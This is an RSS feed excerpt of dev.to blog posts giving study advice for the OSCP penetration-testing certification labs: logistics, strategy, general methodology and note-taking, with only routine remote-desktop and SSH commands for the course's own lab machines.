&lt;li&gt;&lt;a href="https://ivanitlearning.wordpress.com/2021/06/02/tips-from-the-pwk-labs-and-pg-practice/"&gt;https://ivanitlearning.wordpress.com/2021/06/02/tips-from-the-pwk-labs-and-pg-practice/&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  That's it from me!
&lt;/h2&gt;

&lt;p&gt;Overall, Proving Grounds is a solid platform which is very useful for OSCP preparation. I highly recommend anyone preparing for OSCP to get at least a 1 month subscription. I personally used it for 2 months It helped me greatly in my exam prep. &lt;/p&gt;

</description>
    </item>
    <item>
      <title>How to OSCP Labs Part 2: Lab Time &amp; Standards to Meet</title>
      <dc:creator>Terence Chan Zun Mun</dc:creator>
      <pubDate>Thu, 06 Jan 2022 04:21:49 +0000</pubDate>
      <link>https://dev.to/hackin7/how-to-oscp-labs-part-2-lab-time-standards-to-meet-231o</link>
      <guid>https://dev.to/hackin7/how-to-oscp-labs-part-2-lab-time-standards-to-meet-231o</guid>
      <description>&lt;p&gt;So this is my second part of my OSCP Lab series, where I provide hopefully important info on OSCP labs.&lt;/p&gt;

&lt;p&gt;By now, you should have already gotten your VPN pack, decided on a strategy, and started studying/hacking. What this article will do is to give some of my (unreliable) advise on what to do when you are deep in the labs.&lt;/p&gt;

&lt;p&gt;Nothing here should be a spoiler, everything else can be found online (some even on the official website)&lt;/p&gt;

&lt;h2&gt;
  
  
  But first, lab report related announcements
&lt;/h2&gt;

&lt;p&gt;One important thing that I almost missed from my report is this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Each machine's proof.txt must be shown in a screenshot that includes the contents of the file, as well as the IP address of the target by using ipconfig or ifconfig&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So yeah, this is the end goal. Don't exploit all the machines in the lab, but forget to screenshot the important things when you are writing.&lt;/p&gt;

&lt;p&gt;The lab report is submitted &lt;strong&gt;with your exam report&lt;/strong&gt;, and not at the end of the labs. This can be a good thing. You can write your report after the lab time expires, though I wouldn't recommend it in the event of any mishaps (for example, if something like above happens).&lt;/p&gt;

&lt;p&gt;The standards of the lab report needed can be found &lt;a href="https://help.offensive-security.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab Machines
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--QQoX_Z2C--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://res.cloudinary.com/practicaldev/image/fetch/s--evUsNwhl--/c_limit%252Cf_auto%252Cfl_progressive%252Cq_auto%252Cw_880/https://help.offensive-security.com/hc/article_attachments/360062603792/labdiagram.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--QQoX_Z2C--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://res.cloudinary.com/practicaldev/image/fetch/s--evUsNwhl--/c_limit%252Cf_auto%252Cfl_progressive%252Cq_auto%252Cw_880/https://help.offensive-security.com/hc/article_attachments/360062603792/labdiagram.png" alt="OSCP Lab" width="880" height="689"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's go through&lt;/p&gt;

&lt;h2&gt;
  
  
  The Penetration Test
&lt;/h2&gt;

&lt;p&gt;These here are actually some general tips that I learnt from many different platforms, such as TryHackme and HackTheBox.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Network Scanning
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Autorecon&lt;/strong&gt; makes life easy. But not that easy. There is a lot of output to filter out. I used autorecon to scan the public network, but I ended up redoing some of the enumeration manually.&lt;/p&gt;

&lt;p&gt;For the internal networks, SSH pivoting works well enough most of the time. I mostly did manual enumeration with that. I think you could try autorecon with proxychains, though you would probably need some form of configuration.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Service Enumeration
&lt;/h3&gt;

&lt;p&gt;I would highly suggest using some of the penetration testing guidebooks online. They give a decent methodology on how to exploit certain services&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://book.hacktricks.xyz/"&gt;https://book.hacktricks.xyz/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sushant747.gitbooks.io/total-oscp-guide/content/"&gt;https://sushant747.gitbooks.io/total-oscp-guide/content/&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  3. Initial Foothold
&lt;/h3&gt;

&lt;p&gt;There are a few kinds of ways to get an initial foothold&lt;/p&gt;

&lt;p&gt;Firstly, you should look at TryHackMe/HackTheBox/ Proving Grounds/ Other CTF Platforms, which have these:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Service Exploits - Google hard, google wide&lt;/li&gt;
&lt;li&gt;File Upload Vulnerabilities&lt;/li&gt;
&lt;li&gt;Local File Inclusion - Can be for a custom web app/&lt;/li&gt;
&lt;li&gt;SQL Injections - Not as common, but do indeed exist.&lt;/li&gt;
&lt;li&gt;Weak Credentials - Look at default credentials, rockyou.txt, username and password are the same? etc.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So what more does a lab environment entail?&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Dependencies. There are indeed reuse of credentials&lt;/li&gt;
&lt;li&gt;Client Side Exploits. They do happen.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you have not done a penetration test in a lab environment before, it can be hard to adapt. For me, I did not really pwn any machines with dependencies (except the AD ones).&lt;/p&gt;

&lt;p&gt;What I will say though, is that don't over think the dependencies too much (unlike me). Most of the boxes are still relatively standalone. For client side attacks, they will be noticeable (eg. the person in charge will come and view the file? &lt;em&gt;wink&lt;/em&gt;). Only if you exhausted all your options for exploiting the services (or if there are no services to exploits) will this play a big part.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Privilege Escalation
&lt;/h3&gt;

&lt;p&gt;PWK labs to me isn't the best place to practice privilege escalation. What I mean by this is on too many accounts, I enumerate all the methods &amp;amp; files I can think of... Only for it to be a Kernel exploit, which is supposed to be your last resort. On many machines, privilege escalation is not even necessary, not the best idea for an exam which actively tests it.&lt;/p&gt;

&lt;p&gt;However, there are some places where privilege escalation techniques are tested that are &lt;strong&gt;NOT&lt;/strong&gt; in the pdf. Like in the previous part, following the required privesc courses should get you by. Basic enum scripts, looking at special files, processes and services, and more.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Post Exploitation
&lt;/h3&gt;

&lt;p&gt;For me, I haven't really done too much post exploitation. However, the basics of post exploitation include&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Getting Credentials. Mimikatz is your best friend&lt;/li&gt;
&lt;li&gt;Looking through files. Program Files&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;There is also pivoting. Even though it may not be tested much in the exam, &lt;strong&gt;Don't get lazy on pivoting!&lt;/strong&gt; Some boxes behind the internal networks are actually gold, and help you learn a lot.&lt;/p&gt;

&lt;p&gt;I also pwned the AD labs (with some help from the forums in getting a foothold). You should definitely revert the boxes before starting them. To me, I felt they were relatively standard (though I'm not experienced enough to say that)&lt;/p&gt;

&lt;h2&gt;
  
  
  Tools and you
&lt;/h2&gt;

&lt;p&gt;With dated machines comes requiring dated tools.&lt;br&gt;
More than once, I have encountered machines where new tools would just &lt;strong&gt;NOT WORK&lt;/strong&gt;. Only by looking at hints would I figure. This is super annoying, especially when some of the tools are the BEST/ONLY WAY to exploit a machine. Hence I'm going to advice you on what tools you should keep in mind&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Metasploit&lt;/strong&gt; 6 no longer supports older versions of Windows. If you are using it for some machines, &lt;strong&gt;DOWNGRADE&lt;/strong&gt; it to MSF5. &lt;a href="https://github.com/Dewalt-arch/pimpmykali"&gt;Here's&lt;/a&gt; a free tool to help you do so easily&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mimikatz&lt;/strong&gt; has had some issues working on some versions of Windows. Use version 2.1.0 and below.&lt;/li&gt;
&lt;li&gt;Kernel Exploits. Learn how to compile kernel exploits for the specific Operating System Version. I won't say that I have mastered it myself, but you won't be able to find binaries online all the time like in &lt;a href="https://github.com/xiaoxiaoleo/CVE-2009-2698"&gt;here&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Stuck? Try Harder!!!!!!!!
&lt;/h2&gt;

&lt;p&gt;Yeah I'm not that much of a fan of the Try Harder spirit. In an ideal world, you have all the time you need to try harder, and trying harder will indeed result in learning. In reality... OSCP Lab time is expensive, more expensive than VHL, HackTheBox, TryHackMe, Proving Grounds (which I heard is superior for OSCP anyway). I don't think mindlessly trying harder will be a good use of money and time.&lt;/p&gt;

&lt;p&gt;That said, instead of just "Trying Harder", this is what I believe in&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Try everything
&lt;/h3&gt;

&lt;p&gt;In my opinion, this is the &lt;strong&gt;biggest takeaway&lt;/strong&gt; from my lab experience. Have a methodology, stick to it all the way. However, you may not exactly know what everything is. Here is my 3 steps to trying everything&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Get &lt;strong&gt;ALL&lt;/strong&gt; the services &amp;amp; the versions that are running on the machine. Google &lt;strong&gt;ALL&lt;/strong&gt; the possible exploits. 

&lt;ul&gt;
&lt;li&gt;eg. Web Server, Service running on the web server, Python stack, MongoDB Server. &lt;/li&gt;
&lt;li&gt;You can enumerate the versions from nmap scans, folder names, files, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Make a methodology. Even better, a step by step &lt;strong&gt;checklist&lt;/strong&gt; on what to do

&lt;ul&gt;
&lt;li&gt;eg. on web servers, have to read all pages of source code? Directory Enumeration? SQL Injection Testing?&lt;/li&gt;
&lt;li&gt;The absolute last thing I want is to try everything, look up the hint, only to find that the remaining thing is something so simple and obvious.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  2. Try Again
&lt;/h3&gt;

&lt;p&gt;Don't be like me, just look at a machine for 2h, say you have no idea on what to do and give up. Hacking takes a lot of time.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Stick with it.&lt;/strong&gt; Take breaks to work on other machines if needed (though don't just hop between machines)&lt;/li&gt;
&lt;li&gt;Revise &lt;strong&gt;everything&lt;/strong&gt; you have looked through. When you get back to a machine, chances are you will forget some information which may be useful.&lt;/li&gt;
&lt;li&gt;Repeat your enumeration/ exploitation steps. Try 

&lt;ul&gt;
&lt;li&gt;After you reset your machine&lt;/li&gt;
&lt;li&gt;With a different enumeration script&lt;/li&gt;
&lt;li&gt;and more!&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These are just some general guides. I believe that what you should do is not just take Try Harder at face value. Instead, break it down, figure out how to do better, put your own twist on it. Offensive security has a &lt;a href="https://www.offensive-security.com/offsec/what-it-means-to-try-harder/"&gt;post&lt;/a&gt; on what trying harder means to them. I've also heard the phrase "Enumerate Harder", which sounds good to me too.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hints
&lt;/h2&gt;

&lt;p&gt;However, when you have followed your methodology through, and are stuck on a machine for way too long, maybe you can use hints.&lt;/p&gt;

&lt;p&gt;If you want writeups, you probably can dig up some online somewhere.&lt;/p&gt;

&lt;p&gt;The forum is the closest you can get to actual writeups. However, it is also &lt;strong&gt;NOT&lt;/strong&gt; free writeups. Even after looking at a comprehensive hint, you may still be stuck, you may still spend hours. Some machines (like 1nsider, adam) would still take time for me to exploit, even if the pathway is obvious.&lt;/p&gt;

&lt;h2&gt;
  
  
  Others
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Revert when starting a machine&lt;/li&gt;
&lt;li&gt;For me, since I have to revisit some machines, I made autoexploit scripts, just in case. Most notably, for the double pivoting.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  My personal experience
&lt;/h2&gt;

&lt;p&gt;During my 60 days lab time, I pwned 48 machines&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;24 were pwned without help&lt;/li&gt;
&lt;li&gt;4 were spoiled for me due to a google search/ leftover files&lt;/li&gt;
&lt;li&gt;5 + 1 were pwned with the help of the Learning Path/ Hints&lt;/li&gt;
&lt;li&gt;14 were pwned with the forums help&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Others&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Got the flag for 2 machines, without a shell (so not a pwn)&lt;/li&gt;
&lt;li&gt;1 only has a low priv shell&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I tracked my progress down in a Google Sheet as &lt;a href="https://docs.google.com/spreadsheets/d/1hhgQ6n3MzECZ6EGYHb10XnRHCmJzgKrqfu1zYnbo5do/edit?usp=sharing"&gt;such&lt;/a&gt;. I feel that this is good to build confidence in the machines you are pwning and keep track of the techniques you have learnt. &lt;/p&gt;

&lt;p&gt;Judging from the standards of the labs (with my personal bias), I would say that pwning 20-30 machines is substantial enough, but of course the more the better. Some of the other machines may be too reliant on dependencies/ client side exploits etc.&lt;/p&gt;

&lt;h2&gt;
  
  
  End
&lt;/h2&gt;

&lt;p&gt;I have just recently finished my OSCP Labs. Right now (as of writing this article) I plan on doing more practice, and taking the exam in about 3 months time. I'll probably take a break, do more VulnHub/TryHackMe/HackTheBox, start Proving Grounds etc.&lt;/p&gt;

&lt;p&gt;Maybe the next part I write will be about the alternatives to PWK Labs for OSCP Preparation.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>oscp</category>
      <category>pentesting</category>
    </item>
    <item>
      <title>How to OSCP Labs Part 1: Getting Started</title>
      <dc:creator>Terence Chan Zun Mun</dc:creator>
      <pubDate>Mon, 20 Dec 2021 15:04:40 +0000</pubDate>
      <link>https://dev.to/hackin7/how-to-oscp-labs-part-1-getting-started-480m</link>
      <guid>https://dev.to/hackin7/how-to-oscp-labs-part-1-getting-started-480m</guid>
      <description>&lt;p&gt;So recently, I signed up for  PWK Lab access from 7 November 2021 to 6 January 2022. However, one thing that I noticed is that resources on how to use the labs are quite badly scattered around. The official resources are hidden in the FAQ, scattered in different articles. There are some good articles by the community with helpful tips but all their suggestions are also scattered. Today what I'm going to try doing is to consolidate what you need to know when you get your lab access. &lt;/p&gt;

&lt;p&gt;I originally had some plans of what to do, but then Offsec just like, Here is the new exam! Now AD is tested and stuff! Yay! Totally didn't ruin my plans at all&lt;/p&gt;

&lt;p&gt;Everything in this article can be found freely online without needing access to the paid course material. &lt;/p&gt;

&lt;h2&gt;
  
  
  Who is this article for
&lt;/h2&gt;

&lt;p&gt;I mainly decided to write this as when I gained access to the PWK labs, I was unsure what to do and where to start. Hence, I want to gather all the &lt;strong&gt;key details&lt;/strong&gt; you should know when you receive your connectivity package.&lt;/p&gt;

&lt;h2&gt;
  
  
  Buying the Course
&lt;/h2&gt;

&lt;p&gt;So the first thing you would need to do when starting on your OSCP journey is to, of course, buy the course. You can do that through the official website &lt;a href="https://www.offensive-security.com/pwk-oscp/" rel="noopener noreferrer"&gt;here&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;The things you would receive are&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;VPN connectivity pack&lt;/li&gt;
&lt;li&gt;Control Panel URL - Very important for managing the network&lt;/li&gt;
&lt;li&gt;~800 page PDF and Videos&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Some things to take note are&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;You don't just start lab access right when you bought the course, you have to select from a set of dates. For me, the nearest date (which is the one I chose) was &lt;strong&gt;about a month&lt;/strong&gt; away from the time I bought the course&lt;/li&gt;
&lt;li&gt;Right after that you need to confirm your identity, and  check your VPN connection. They will send you emails which are &lt;strong&gt;time sensitive&lt;/strong&gt; so take note&lt;/li&gt;
&lt;li&gt;On the day you start your labs, you receive the course material, which you should &lt;strong&gt;immediately download and backup&lt;/strong&gt;, since the links expire&lt;/li&gt;
&lt;li&gt;You should &lt;strong&gt;refer to the FAQ&lt;/strong&gt; &lt;a href="https://help.offensive-security.com/hc/en-us/categories/360003918111-Penetration-Testing-with-Kali-Linux-PEN-200-" rel="noopener noreferrer"&gt;here&lt;/a&gt;, and especially the &lt;a href="https://help.offensive-security.com/hc/en-us/articles/360059535932-PEN-200-Onboarding-A-Student-Introduction-Guide-to-the-OSCP" rel="noopener noreferrer"&gt;PWK onboarding guide&lt;/a&gt; and the &lt;a href="https://help.offensive-security.com/hc/en-us/articles/360040165632" rel="noopener noreferrer"&gt;OSCP exam guide&lt;/a&gt; It provides a lot of important information&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Strategies
&lt;/h2&gt;

&lt;p&gt;Some strategies for how best to maximise your course time are&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Jump straight into the labs and hacking the machines from day 1. 
1.This strategy I find is most suited for experienced users who have done several machines on HackTheBox/Vulnhub (preferably TJNulls list). If you have not I &lt;strong&gt;highly discourage&lt;/strong&gt; doing this&lt;/li&gt;
&lt;li&gt;Read through the course materials (PDF/Videos), do the course exercises, and then start the labs

&lt;ol&gt;
&lt;li&gt;This would probably be best suited for beginners or people with insufficient experience&lt;/li&gt;
&lt;li&gt;It is also what is recommended by Offensive Security themselves. &lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;

&lt;li&gt;Do the labs and the course exercises together. 

&lt;ol&gt;
&lt;li&gt;This is the strategy I took. Whenever I was stuck at a box, I took some time off to do the course exercises and my lab report&lt;/li&gt;
&lt;li&gt;One good example is &lt;a href="https://www.mjkranch.com/2019/06/tips-for-success-in-pwk-oscp/#do-the-exercises-and-labs-together" rel="noopener noreferrer"&gt;here&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;

&lt;/ol&gt;

&lt;p&gt;What strategy you choose depends on your skill level etc. However, I highly encourage at least glancing through the PDF. After all, if you are here to learn, it doesn't hurt to at least see what they offer and fill in some gaps in knowledge. &lt;/p&gt;

&lt;p&gt;There are many writeups on OSCP and how to tackle the exam online. Those make for good and entertaining reads, and it would be fine to include them in your strategy. Just don't be stuck on the paradox of choice and the conflict in opinions. One of the writeup I found the best would be &lt;a href="https://johnjhacking.com/blog/the-oscp-preperation-guide-2020/" rel="noopener noreferrer"&gt;John J Hacking's Guide&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Course Materials: PDF and Videos
&lt;/h2&gt;

&lt;p&gt;As many others have stated, the course will give both a 800ish page PDF, as well as many videos. &lt;/p&gt;

&lt;p&gt;I mainly just read the PDF and did not touch the videos. However, you should follow whatever style suits you. If videos are a better way for you to learn, you should watch the videos. &lt;/p&gt;

&lt;p&gt;The PDF itself is good &lt;strong&gt;but&lt;/strong&gt; there are still areas which are lacking. Here is a list of (hopefully free) resources which can supplement the PDF&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Buffer Overflow

&lt;ol&gt;
&lt;li&gt;The PDF's Buffer Overflow content is good enough for guiding you through how to do a basic buffer overflow but ideally you should get more practice.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://tryhackme.com/room/bufferoverflowprep" rel="noopener noreferrer"&gt;TryHackMe's Buffer Overflow Prep Room&lt;/a&gt; is a good resource, another good practice is &lt;a href="https://tryhackme.com/room/brainpan" rel="noopener noreferrer"&gt;BrainPan&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;

&lt;li&gt;Privilege Escalation

&lt;ol&gt;
&lt;li&gt;Linux: &lt;a href="https://tryhackme.com/room/linuxprivesc" rel="noopener noreferrer"&gt;TryHackMe's Linux PrivEsc Room&lt;/a&gt; is relatively decent&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;

&lt;/ol&gt;

&lt;h3&gt;
  
  
  Lab Report &amp;amp; Course Exercises
&lt;/h3&gt;

&lt;p&gt;Many people in the past say doing all the course exercises is not worth it for just 5 points. After all, the course exercises mainly involve simple tasks such as showing that you followed along, do some modification which is either shown in the book or is easy enough to Google and follow along. And there are &lt;strong&gt;a lot&lt;/strong&gt;  a of exercises. It took me about a month (though I also did lab machines alongside it) to finish the exercises.&lt;/p&gt;

&lt;p&gt;But now with the new change in exam, the Lab report is now 10 points and a big deal. There are more chances where the 10 points would be able to pull the exam to a pass. (In the past, it has a minimal impact, only helping if you fail to privesc either your 25 pointer or 5 pointer or something along those lines. Now it helps if you fail to gain a foothold/privesc in any one of the 3 exploitable machines). It's still a ton of work, but it is more worth it.&lt;/p&gt;

&lt;p&gt;However, there are also other reasons to do the lab exercises. They help to significantly consolidate concepts and fill in some knowledge gaps. &lt;/p&gt;

&lt;p&gt;You could use the extra time on the Lab Report to hack more machines and become better at hacking and passing through your own merit. Whether you want to do that or get a safety net is up to you to decide. &lt;/p&gt;

&lt;p&gt;For me, I did the lab exercises and read the PDF because I came here not just to get the certification, but also to learn&lt;/p&gt;

&lt;h3&gt;
  
  
  Client Machines
&lt;/h3&gt;

&lt;p&gt;To help with your lab exercises, you will&lt;br&gt;
 be given 3 machines to assist you, a Windows Client, Windows Server (in an internal network with the Windows client, not accessible using your VPN normally), and a Linux Client. &lt;/p&gt;

&lt;p&gt;On first use I had to reset them before they functioned properly.&lt;/p&gt;

&lt;p&gt;You can use remote desktop to connect to your clients (and you can ssh into your Linux client). You can even use tools like evil-winrm to get a shell into your windows client. I used rdesktop to transfer files from my kali VM into my Virtual Machine&lt;/p&gt;

&lt;p&gt;Some sample commands&lt;/p&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

&lt;p&gt;rdesktop &amp;lt;ip&amp;gt; -u admin -p lab -r disk:linux=/home/eaydin/windows&lt;br&gt;
ssh root@&amp;lt;ip&amp;gt;&lt;/p&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  Lab Access&lt;br&gt;
&lt;/h2&gt;

&lt;h2&gt;
  
  
  Scenario
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fhelp.offensive-security.com%2Fhc%2Farticle_attachments%2F360062603792%2Flabdiagram.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fhelp.offensive-security.com%2Fhc%2Farticle_attachments%2F360062603792%2Flabdiagram.png" alt="Lab Image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is a &lt;a href="https://help.offensive-security.com/hc/en-us/articles/360046293192-PEN-200-Network-Introduction-Guide" rel="noopener noreferrer"&gt;guide&lt;/a&gt; that you should read through. The main important takeaways are that&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;This is meant to simulate a real network. &lt;/li&gt;
&lt;li&gt;There are &lt;strong&gt;dependencies&lt;/strong&gt;. You would need to enumerate some files. This is &lt;strong&gt;NOT&lt;/strong&gt; just many unrelated CTF boxes.&lt;/li&gt;
&lt;li&gt;There are internal networks, and pivoting too. &lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Where to start
&lt;/h3&gt;

&lt;p&gt;Before you even start hacking anything, you should know that there is a &lt;a href="https://help.offensive-security.com/hc/en-us/articles/360050473812-PWK-Labs-Learning-Path" rel="noopener noreferrer"&gt;Learning Path&lt;/a&gt; for beginners to follow through. There are also hints you can find on their website.&lt;/p&gt;

&lt;p&gt;Once you receive your VPN connection, you can just start scanning the given IP range, which is &lt;code&gt;10.11.1.1/24&lt;/code&gt;, and start hacking!&lt;/p&gt;

&lt;h2&gt;
  
  
  One Last Thing
&lt;/h2&gt;

&lt;p&gt;Notetaking is going to be &lt;strong&gt;essential&lt;/strong&gt;. It is how you organise your thoughts, learn from past failures, and eventually write your report &lt;/p&gt;

&lt;p&gt;Some famous apps are&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;CherryTree - Good App, downside is that markdown doesn't work&lt;/li&gt;
&lt;li&gt;Joplin - Markdown note taking app. Has a phone client. I find it does not support hierarchical notes very well. Also the phone client is slow on very long notes (which I often have)&lt;/li&gt;
&lt;li&gt;Obsidian - Also Markdown (though slightly tweaked to allow for easier linking between notes). Can create graph like relations between notes. Has a decent phone app.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Personally what I did was to use Obsidian for Notetaking. I constantly backup (did i mention you should do that for everything, even your VM? ) my vault onto GitLab in a private repo (Thanks John Hammond, that saved my notes many times. If you want to know more about my note taking for ystrategy you can read these resources&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://github.com/Twigonometry/OSCP-Notes-Template" rel="noopener noreferrer"&gt;https://github.com/Twigonometry/OSCP-Notes-Template&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;John Hammond. &lt;a href="https://www.youtube.com/watch?v=MQGozZzHUwQ" rel="noopener noreferrer"&gt;https://www.youtube.com/watch?v=MQGozZzHUwQ&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  TLDR
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Time delay between buy date and receive course materials date&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Read through the &lt;a href="https://help.offensive-security.com/hc/en-us/articles/360059535932-PEN-200-Onboarding-A-Student-Introduction-Guide-to-the-OSCP" rel="noopener noreferrer"&gt;onboarding guide&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Choose your strategy wisely, with or without lab report &amp;amp; course exercises?

&lt;ol&gt;
&lt;li&gt;Just need to rdesktop/ssh into your client machines. Make sure to reset before first use.&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;

&lt;li&gt;Read materials/Watch Videos, and start hacking &lt;code&gt;10.11.1.1/24&lt;/code&gt; on your lab network.

&lt;ol&gt;
&lt;li&gt;If need help starting, follow the PWK Learning Path on their official website&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;

&lt;li&gt;And take notes along the way!&lt;/li&gt;

&lt;/ol&gt;

&lt;h2&gt;
  
  
  Next Part
&lt;/h2&gt;

&lt;p&gt;For now that's a long enough article. In the next part of my series, I will be discussing more about how I used my lab time, the upsides and downsides of using hints for the labs and so on.&lt;/p&gt;

&lt;p&gt;Who knows, will I fail and give up? Or will I manage to pass on my first try? Only time will tell how this article will age...&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>oscp</category>
      <category>pentesting</category>
    </item>
  </channel>
</rss>
